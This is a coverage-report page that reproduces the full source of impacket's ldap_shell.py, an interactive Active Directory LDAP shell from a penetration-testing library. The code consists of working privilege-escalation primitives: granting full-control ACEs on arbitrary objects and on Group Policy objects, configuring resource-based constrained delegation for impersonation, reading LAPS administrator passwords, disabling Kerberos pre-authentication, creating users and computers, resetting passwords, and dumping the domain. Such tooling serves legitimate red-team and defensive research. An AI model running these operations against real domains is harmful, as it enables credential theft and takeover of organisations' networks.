Coverage for /root/GitHubProjects/impacket/impacket/examples/ldap_shell.py: 8%

# Coverage for /root/GitHubProjects/impacket/impacket/examples/ldap_shell.py : 8%

## 394 statements

Hot-keys on this page

r m x p toggle line displays

j k next/prev highlighted chunk

0 (zero) top of page

1 (one) first highlighted chunk

1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.

2

3#

4# This software is provided under under a slightly modified version

5# of the Apache Software License. See the accompanying LICENSE file

6# for more information.

7#

8# Description: Mini shell using some of the LDAP functionalities of the library

9#

10# Author:

11# Mathieu Gascon-Lefebvre (@mlefebvre)

12#

13 import re

14 import string

15 import sys

16 import cmd

17 import random

18 import ldap3

19 from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM

20 from ldap3.utils.conv import escape_filter_chars

21 from six import PY2

22 import shlex

23 from impacket import LOG

24 from ldap3.protocol.microsoft import security_descriptor_control

25 from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP

26 from impacket.ldap import ldaptypes

27

28

29 class LdapShell(cmd.Cmd):

30 LDAP_MATCHING_RULE_IN_CHAIN = "1.2.840.113556.1.4.1941"

31

32 def __init__(self, tcp_shell, domain_dumper, client):

33 cmd.Cmd.__init__(self, stdin=tcp_shell.stdin, stdout=tcp_shell.stdout)

34

35 if PY2:

36 # switch to unicode.

37 reload(sys) # noqa: F821 pylint:disable=undefined-variable

38 sys.setdefaultencoding('utf8')

39

40 sys.stdout = tcp_shell.stdout

41 sys.stdin = tcp_shell.stdin

42 sys.stderr = tcp_shell.stdout

43 self.use_rawinput = False

44 self.shell = tcp_shell

45

46 self.prompt = '\n# '

47 self.tid = None

48 self.intro = 'Type help for list of commands'

49 self.loggedIn = True

50 self.last_output = None

51 self.completion = []

52 self.client = client

53 self.domain_dumper = domain_dumper

54

55 def emptyline(self):

56 pass

57

58 def onecmd(self, s):

59 ret_val = False

60 try:

61 ret_val = cmd.Cmd.onecmd(self, s)

62 except Exception as e:

63 print(e)

64 LOG.error(e)

65 LOG.debug('Exception info', exc_info=True)

66

67 return ret_val

68

69 def create_empty_sd(self):

70 sd = ldaptypes.SR_SECURITY_DESCRIPTOR()

71 sd['Revision'] = b'\x01'

72 sd['Sbz1'] = b'\x00'

73 sd['Control'] = 32772

74 sd['OwnerSid'] = ldaptypes.LDAP_SID()

75 # BUILTIN\Administrators

76 sd['OwnerSid'].fromCanonical('S-1-5-32-544')

77 sd['GroupSid'] = b''

78 sd['Sacl'] = b''

79 acl = ldaptypes.ACL()

80 acl['AclRevision'] = 4

81 acl['Sbz1'] = 0

82 acl['Sbz2'] = 0

83 acl.aces = []

84 sd['Dacl'] = acl

85 return sd

86

87 def create_allow_ace(self, sid):

88 nace = ldaptypes.ACE()

89 nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE

90 nace['AceFlags'] = 0x00

91 acedata = ldaptypes.ACCESS_ALLOWED_ACE()

92 acedata['Mask'] = ldaptypes.ACCESS_MASK()

93 acedata['Mask']['Mask'] = 983551 # Full control

94 acedata['Sid'] = ldaptypes.LDAP_SID()

95 acedata['Sid'].fromCanonical(sid)

96 nace['Ace'] = acedata

97 return nace

98

99 def do_write_gpo_dacl(self, line):

100 args = shlex.split(line)

101 print ("Adding %s to GPO with GUID %s" % (args[0], args[1]))

102 if len(args) != 2:

103 raise Exception("A samaccountname and GPO sid are required.")

104

105 tgtUser = args[0]

106 gposid = args[1]

107 self.client.search(self.domain_dumper.root, '(&(objectclass=person)(sAMAccountName=%s))' % tgtUser, attributes=['objectSid'])

108 if len( self.client.entries) <= 0:

109 raise Exception("Didnt find the given user")

110

111 user = self.client.entries[0]

112

113 controls = security_descriptor_control(sdflags=0x04)

114 self.client.search(self.domain_dumper.root, '(&(objectclass=groupPolicyContainer)(name=%s))' % gposid, attributes=['objectSid','nTSecurityDescriptor'], controls=controls)

115

116 if len( self.client.entries) <= 0:

117 raise Exception("Didnt find the given gpo")

118 gpo = self.client.entries[0]

119

120 secDescData = gpo['nTSecurityDescriptor'].raw_values[0]

121 secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

122 newace = self.create_allow_ace(str(user['objectSid']))

123 secDesc['Dacl']['Data'].append(newace)

124 data = secDesc.getData()

125

126 self.client.modify(gpo.entry_dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)

127 if self.client.result["result"] == 0:

128 print('LDAP server claims to have taken the secdescriptor. Have fun')

129 else:

130 raise Exception("Something wasnt right: %s" %str(self.client.result['description']))

131

132 def do_add_computer(self, line):

133 args = shlex.split(line)

134

135 if not self.client.server.ssl:

136 print("Error adding a new computer with LDAP requires LDAPS.")

137

138 if len(args) != 1 and len(args) != 2:

139 raise Exception("Error expected a computer name and an optional password argument.")

140

141 computer_name = args[0]

142 if not computer_name.endswith('$'):

143 computer_name += '$'

144

145 print("Attempting to add a new computer with the name: %s" % computer_name)

146

147 password = ""

148 if len(args) == 1:

149 password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))

150 else:

151 password = args[1]

152

153 domain_dn = self.domain_dumper.root

154 domain = re.sub(',DC=', '.', domain_dn[domain_dn.find('DC='):], flags=re.I)[3:]

155

156 print("Inferred Domain DN: %s" % domain_dn)

157 print("Inferred Domain Name: %s" % domain)

158

159 computer_hostname = computer_name[:-1] # Remove $ sign

160 computer_dn = "CN=%s,CN=Computers,%s" % (computer_hostname, self.domain_dumper.root)

161 print("New Computer DN: %s" % computer_dn)

162

163 spns = [

164 'HOST/%s' % computer_hostname,

165 'HOST/%s.%s' % (computer_hostname, domain),

166 'RestrictedKrbHost/%s' % computer_hostname,

167 'RestrictedKrbHost/%s.%s' % (computer_hostname, domain),

168 ]

169 ucd = {

170 'dnsHostName': '%s.%s' % (computer_hostname, domain),

171 'userAccountControl': 4096,

172 'servicePrincipalName': spns,

173 'sAMAccountName': computer_name,

174 'unicodePwd': '"{}"'.format(password).encode('utf-16-le')

175 }

176

177 res = self.client.add(computer_dn, ['top','person','organizationalPerson','user','computer'], ucd)

178

179 if not res:

180 if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM:

181 print("Failed to add a new computer. The server denied the operation.")

182 else:

183 print('Failed to add a new computer: %s' % str(self.client.result))

184 else:

185 print('Adding new computer with username: %s and password: %s result: OK' % (computer_name, password))

186

187 def do_add_user(self, line):

188 args = shlex.split(line)

189 if len(args) == 0:

190 raise Exception("A username is required.")

191

192 new_user = args[0]

193 if len(args) == 1:

194 parent_dn = 'CN=Users,%s' % self.domain_dumper.root

195 else:

196 parent_dn = args[1]

197

198 new_password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))

199

200 new_user_dn = 'CN=%s,%s' % (new_user, parent_dn)

201 ucd = {

202 'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % self.domain_dumper.root,

203 'distinguishedName': new_user_dn,

204 'cn': new_user,

205 'sn': new_user,

206 'givenName': new_user,

207 'displayName': new_user,

208 'name': new_user,

209 'userAccountControl': 512,

210 'accountExpires': '0',

211 'sAMAccountName': new_user,

212 'unicodePwd': '"{}"'.format(new_password).encode('utf-16-le')

213 }

214

215 print('Attempting to create user in: %s', parent_dn)

216 res = self.client.add(new_user_dn, ['top', 'person', 'organizationalPerson', 'user'], ucd)

217 if not res:

218 if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:

219 raise Exception('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.')

220 else:

221 raise Exception('Failed to add a new user: %s' % str(self.client.result['description']))

222 else:

223 print('Adding new user with username: %s and password: %s result: OK' % (new_user, new_password))

224

225 def do_add_user_to_group(self, line):

226 user_name, group_name = shlex.split(line)

227

228 user_dn = self.get_dn(user_name)

229 if not user_dn:

230 raise Exception("User not found in LDAP: %s" % user_name)

231

232 group_dn = self.get_dn(group_name)

233 if not group_dn:

234 raise Exception("Group not found in LDAP: %s" % group_name)

235

236 user_name = user_dn.split(',')[0][3:]

237 group_name = group_dn.split(',')[0][3:]

238

239 res = self.client.modify(group_dn, {'member': [(ldap3.MODIFY_ADD, [user_dn])]})

240 if res:

241 print('Adding user: %s to group %s result: OK' % (user_name, group_name))

242 else:

243 raise Exception('Failed to add user to %s group: %s' % (group_name, str(self.client.result['description'])))

244

245 def do_change_password(self, line):

246 args = shlex.split(line)

247

248 if len(args) != 1 and len(args) != 2:

249 raise Exception("Error expected a username and an optional password argument. Instead %d arguments were provided" % len(args))

250

251 user_dn = self.get_dn(args[0])

252 print("Got User DN: " + user_dn)

253

254 password = ""

255 if len(args) == 1:

256 password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))

257 else:

258 password = args[1]

259

260 print("Attempting to set new password of: %s" % password)

261 success = self.client.extend.microsoft.modify_password(user_dn, password)

262

263 if self.client.result['result'] == 0:

264 print('Password changed successfully!')

265 else:

266 if self.client.result['result'] == 50:

267 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])

268 elif self.client.result['result'] == 19:

269 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])

270 else:

271 raise Exception('The server returned an error: %s', self.client.result['message'])

272

273 def do_clear_rbcd(self, computer_name):

274

275 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(computer_name), attributes=['objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])

276 if success is False or len(self.client.entries) != 1:

277 raise Exception("Error expected only one search result got %d results", len(self.client.entries))

278

279 target = self.client.entries[0]

280 target_sid = target["objectsid"].value

281 print("Found Target DN: %s" % target.entry_dn)

282 print("Target SID: %s\n" % target_sid)

283

284 sd = self.create_empty_sd()

285

286 self.client.modify(target.entry_dn, {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})

287 if self.client.result['result'] == 0:

288 print('Delegation rights cleared successfully!')

289 else:

290 if self.client.result['result'] == 50:

291 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])

292 elif self.client.result['result'] == 19:

293 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])

294 else:

295 raise Exception('The server returned an error: %s', self.client.result['message'])

296

297 def do_dump(self, line):

298 print('Dumping domain info...')

299 self.stdout.flush()

300 self.domain_dumper.domainDump()

301 print('Domain info dumped into lootdir!')

302

303 def do_disable_account(self, username):

304 self.toggle_account_enable_disable(username, False)

305

306 def do_enable_account(self, username):

307 self.toggle_account_enable_disable(username, True)

308

309 def toggle_account_enable_disable(self, user_name, enable):

310 UF_ACCOUNT_DISABLE = 2

311 self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(user_name), attributes=['objectSid', 'userAccountControl'])

312

313 if len(self.client.entries) != 1:

314 raise Exception("Error expected only one search result got %d results", len(self.client.entries))

315

316 user_dn = self.client.entries[0].entry_dn

317 if not user_dn:

318 raise Exception("User not found in LDAP: %s" % user_name)

319

320 entry = self.client.entries[0]

321 userAccountControl = entry["userAccountControl"].value

322

323 print("Original userAccountControl: %d" % userAccountControl)

324

325 if enable:

326 userAccountControl = userAccountControl & ~UF_ACCOUNT_DISABLE

327 else:

328 userAccountControl = userAccountControl | UF_ACCOUNT_DISABLE

329

330 self.client.modify(user_dn, {'userAccountControl':(ldap3.MODIFY_REPLACE, [userAccountControl])})

331

332 if self.client.result['result'] == 0:

333 print("Updated userAccountControl attribute successfully")

334 else:

335 if self.client.result['result'] == 50:

336 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])

337 elif self.client.result['result'] == 19:

338 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])

339 else:

340 raise Exception('The server returned an error: %s', self.client.result['message'])

341

342 def do_search(self, line):

343 arguments = shlex.split(line)

344 if len(arguments) == 0:

345 raise Exception("A query is required.")

346

347 filter_attributes = ['name', 'distinguishedName', 'sAMAccountName']

348 attributes = filter_attributes[:]

349 attributes.append('objectSid')

350 for argument in arguments[1:]:

351 attributes.append(argument)

352

353 search_query = "".join("(%s=*%s*)" % (attribute, escape_filter_chars(arguments[0])) for attribute in filter_attributes)

354 self.search('(|%s)' % search_query, *attributes)

355

356 def do_set_dontreqpreauth(self, line):

357 UF_DONT_REQUIRE_PREAUTH = 4194304

358

359 args = shlex.split(line)

360 if len(args) != 2:

361 raise Exception("Username (SAMAccountName) and true/false flag required (e.g. jsmith true).")

362

363 user_name = args[0]

364 flag_str = args[1]

365 flag = False

366

367 if flag_str.lower() == "true":

368 flag = True

369 elif flag_str.lower() == "false":

370 flag = False

371 else:

372 raise Exception("The specified flag must be either true or false")

373

374 self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(user_name), attributes=['objectSid', 'userAccountControl'])

375 if len(self.client.entries) != 1:

376 raise Exception("Error expected only one search result got %d results", len(self.client.entries))

377

378 user_dn = self.client.entries[0].entry_dn

379 if not user_dn:

380 raise Exception("User not found in LDAP: %s" % user_name)

381

382 entry = self.client.entries[0]

383 userAccountControl = entry["userAccountControl"].value

384 print("Original userAccountControl: %d" % userAccountControl)

385

386 if flag:

387 userAccountControl = userAccountControl | UF_DONT_REQUIRE_PREAUTH

388 else:

389 userAccountControl = userAccountControl & ~UF_DONT_REQUIRE_PREAUTH

390

391 print("Updated userAccountControl: %d" % userAccountControl)

392 self.client.modify(user_dn, {'userAccountControl':(ldap3.MODIFY_REPLACE, [userAccountControl])})

393

394 if self.client.result['result'] == 0:

395 print("Updated userAccountControl attribute successfully")

396 else:

397 if self.client.result['result'] == 50:

398 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])

399 elif self.client.result['result'] == 19:

400 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])

401 else:

402 raise Exception('The server returned an error: %s', self.client.result['message'])

403

404 def do_get_user_groups(self, user_name):

405 user_dn = self.get_dn(user_name)

406 if not user_dn:

407 raise Exception("User not found in LDAP: %s" % user_name)

408

409 self.search('(member:%s:=%s)' % (LdapShell.LDAP_MATCHING_RULE_IN_CHAIN, escape_filter_chars(user_dn)))

410

411 def do_get_group_users(self, group_name):

412 group_dn = self.get_dn(group_name)

413 if not group_dn:

414 raise Exception("Group not found in LDAP: %s" % group_name)

415

416 self.search('(memberof:%s:=%s)' % (LdapShell.LDAP_MATCHING_RULE_IN_CHAIN, escape_filter_chars(group_dn)), "sAMAccountName", "name")

417

418 def do_get_laps_password(self, computer_name):

419

420 self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(computer_name), attributes=['ms-MCS-AdmPwd'])

421 if len(self.client.entries) != 1:

422 raise Exception("Error expected only one search result got %d results", len(self.client.entries))

423

424 computer = self.client.entries[0]

425 print("Found Computer DN: %s" % computer.entry_dn)

426

427 password = computer["ms-MCS-AdmPwd"].value

428

429 if password is not None:

430 print("LAPS Password: %s" % password)

431 else:

432 print("Unable to Read LAPS Password for Computer")

433

434 def do_grant_control(self, line):

435 args = shlex.split(line)

436

437 if len(args) != 1 and len(args) != 2:

438 raise Exception("Error expecting target and grantee names for RBCD attack. Recieved %d arguments instead." % len(args))

439

440 controls = security_descriptor_control(sdflags=0x04)

441

442 target_name = args[0]

443 grantee_name = args[1]

444

445 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'nTSecurityDescriptor'], controls=controls)

446 if success is False or len(self.client.entries) != 1:

447 raise Exception("Error expected only one search result got %d results", len(self.client.entries))

448

449 target = self.client.entries[0]

450 target_sid = target["objectSid"].value

451 print("Found Target DN: %s" % target.entry_dn)

452 print("Target SID: %s\n" % target_sid)

453

454 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid'])

455 if success is False or len(self.client.entries) != 1:

456 raise Exception("Error expected only one search result got %d results", len(self.client.entries))

457

458 grantee = self.client.entries[0]

459 grantee_sid = grantee["objectSid"].value

460 print("Found Grantee DN: %s" % grantee.entry_dn)

461 print("Grantee SID: %s" % grantee_sid)

462

463 try:

464 sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['nTSecurityDescriptor'].raw_values[0])

465 except IndexError:

466 sd = self.create_empty_sd()

467

468 sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid))

469 self.client.modify(target.entry_dn, {'nTSecurityDescriptor':[ldap3.MODIFY_REPLACE, [sd.getData()]]}, controls=controls)

470

471 if self.client.result['result'] == 0:

472 print('DACL modified successfully!')

473 print('%s now has control of %s' % (grantee_name, target_name))

474 else:

475 if self.client.result['result'] == 50:

476 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])

477 elif self.client.result['result'] == 19:

478 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])

479 else:

480 raise Exception('The server returned an error: %s', self.client.result['message'])

481

482 def do_set_rbcd(self, line):

483 args = shlex.split(line)

484

485 if len(args) != 1 and len(args) != 2:

486 raise Exception("Error expecting target and grantee names for RBCD attack. Recieved %d arguments instead." % len(args))

487

488 target_name = args[0]

489 grantee_name = args[1]

490

491 target_sid = args[0]

492 grantee_sid = args[1]

493

494 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])

495 if success is False or len(self.client.entries) != 1:

496 raise Exception("Error expected only one search result got %d results", len(self.client.entries))

497

498 target = self.client.entries[0]

499 target_sid = target["objectSid"].value

500 print("Found Target DN: %s" % target.entry_dn)

501 print("Target SID: %s\n" % target_sid)

502

503 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid'])

504 if success is False or len(self.client.entries) != 1:

505 raise Exception("Error expected only one search result got %d results", len(self.client.entries))

506

507 grantee = self.client.entries[0]

508 grantee_sid = grantee["objectSid"].value

509 print("Found Grantee DN: %s" % grantee.entry_dn)

510 print("Grantee SID: %s" % grantee_sid)

511

512 try:

513 sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['msDS-AllowedToActOnBehalfOfOtherIdentity'].raw_values[0])

514 print('Currently allowed sids:')

515 for ace in sd['Dacl'].aces:

516 print(' %s' % ace['Ace']['Sid'].formatCanonical())

517

518 if ace['Ace']['Sid'].formatCanonical() == grantee_sid:

519 print("Grantee is already permitted to perform delegation to the target host")

520 return

521

522 except IndexError:

523 sd = self.create_empty_sd()

524

525 sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid))

526 self.client.modify(target.entry_dn, {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})

527

528 if self.client.result['result'] == 0:

529 print('Delegation rights modified successfully!')

530 print('%s can now impersonate users on %s via S4U2Proxy' % (grantee_name, target_name))

531 else:

532 if self.client.result['result'] == 50:

533 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])

534 elif self.client.result['result'] == 19:

535 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])

536 else:

537 raise Exception('The server returned an error: %s', self.client.result['message'])

538

539 def search(self, query, *attributes):

540 self.client.search(self.domain_dumper.root, query, attributes=attributes)

541 for entry in self.client.entries:

542 print(entry.entry_dn)

543 for attribute in attributes:

544 value = entry[attribute].value

545 if value:

546 print("%s: %s" % (attribute, entry[attribute].value))

547 if any(attributes):

548 print("---")

549

550 def get_dn(self, sam_name):

551 if "," in sam_name:

552 return sam_name

553

554 try:

555 self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(sam_name), attributes=['objectSid'])

556 return self.client.entries[0].entry_dn

557 except IndexError:

558 return None

559

560 def do_exit(self, line):

561 if self.shell is not None:

562 self.shell.close()

563 return True

564

565 def do_help(self, line):

566 print("""

567 add_computer computer [password] - Adds a new computer to the domain with the specified password. Requires LDAPS.

568 add_user new_user [parent] - Creates a new user.

569 add_user_to_group user group - Adds a user to a group.

570 change_password user [password] - Attempt to change a given user's password. Requires LDAPS.

571 clear_rbcd target - Clear the resource based constrained delegation configuration information.

572 disable_account user - Disable the user's account.

573 enable_account user - Enable the user's account.

574 dump - Dumps the domain.

575 search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName.

576 get_user_groups user - Retrieves all groups this user is a member of.

577 get_group_users group - Retrieves all members of a group.

578 get_laps_password computer - Retrieves the LAPS passwords associated with a given computer (sAMAccountName).

579 grant_control target grantee - Grant full control of a given target object (sAMAccountName) to the grantee (sAMAccountName).

580 set_dontreqpreauth user true/false - Set the don't require pre-authentication flag to true or false.

581 set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName).

582 write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}.

583 exit - Terminates this session.""")

584

585 def do_EOF(self, line):

586 print('Bye!\n')

587 return True